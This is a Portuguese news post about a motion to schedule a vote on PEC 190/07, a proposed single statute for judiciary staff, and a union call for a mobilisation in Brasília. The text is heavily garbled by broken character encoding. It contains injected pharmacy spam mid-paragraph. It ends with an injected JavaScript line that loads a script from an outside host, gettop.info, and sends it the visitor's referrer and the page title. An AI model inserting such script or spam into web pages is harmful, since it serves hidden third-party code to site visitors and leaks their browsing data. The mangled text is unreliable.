Acordo pode levar PEC190/07 Ai?? votaAi??A?o na prA?xima semana, PSB articula inclusA?o na pauta da PEC 190 para a prA?xima semana. “O Brasil Ai?? um sA?. A justiAi??a do Brasil nA?o pode ser diferente”.
O lAi??der do PSB na CA?mara, dep. Beto Albuquerque (RS), apresentou requerimento, nesta quarta-feira (5), com pedido de inclusA?o da Proposta de Emenda Ai?? ConstituiAi??A?o- PEC190/07, na Ordem do Dia da prA?xima semana, ou seja, um prAi??-acordo que poderA? ser convertido em “acordo” e levar a PEC190/07 Ai?? votaAi??A?o na prA?xima semana.
FederaAi??A?o Nacional dos Servidores do Poder JudiciA?rio nos Estados- Fenajud, convoca categoria para GRANDE MOBILIZAAi??A?O, na prA?xima terAi??a-feira (11) , na CA?mara dos Deputados, em BrasAi??lia. A iniciativa representa avanAi??o nos trabalhos realizados pelaAi?? federaAi??A?o em prol da matAi??ria. buy pillsBeto Albuquerquelanoxin online gameszithromax capsules buy online declarou apoio Ai?? PEC190/07 e apresentou o requerimento nA? 7915, para pautar a PEC190/07, que visa criar estatuto A?nico dos servidores do judiciA?rio Estadual e Federal.
A proposta pretende atribuir ao Superior Tribunal Federal- STF, a iniciativa de Projeto de Lei Complementar para dispor sobre o Estatuto dos Servidores do Poder JudiciA?rio.
Requerimento de inclusA?o da PEC190/07 na Ordem do Dia, por parte do lAi??der do PSB, Beto Albuquerque,foi assinado por deputados.
A PEC190 tem o objetivo de eliminar a atual pluralidade de regimes disciplinadores dos direitos e deveres desses servidores, amparar aos serventuA?rios da JustiAi??a Federal, dos Estados e do Distrito Federal, alAi??m de evitar as disparidades entre atividades de mesma natureza funcional. A proposta tambAi??m irA? assegurar o aperfeiAi??oamento da estrutura judiciA?ria em benefAi??cio dos servidores.
A PEC em questA?o Ai?? o primeiro passo para tornar realidade uma Lei que possa refletir na qualificaAi??A?o da prestaAi??A?o jurisdicional em favor de toda a populaAi??A?o. Quando aprovada, o STF terA? o prazo de 360 dias para apresentar o Projeto de Lei Complementar ao Congresso Nacional.
A Fenajud agradece, “veementemente”,Ai?? ao lAi??der do PSB na CA?mara, Beto Albuquerque, pelo apio e iniciativa. E espera que a PEC190/07 seja colocada em votaAi??A?o e assim, aprovada , na prA?xima semana.
A diretoria da federaAi??A?o convoca os servidores do judiciA?rio nos estados para a GRANDE MOBILIZAAi??A?O, na CA?mara Federal, em BrasAi??lia, na prA?xima terAi??a-feira(11), pela manhA?. Cheap s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;
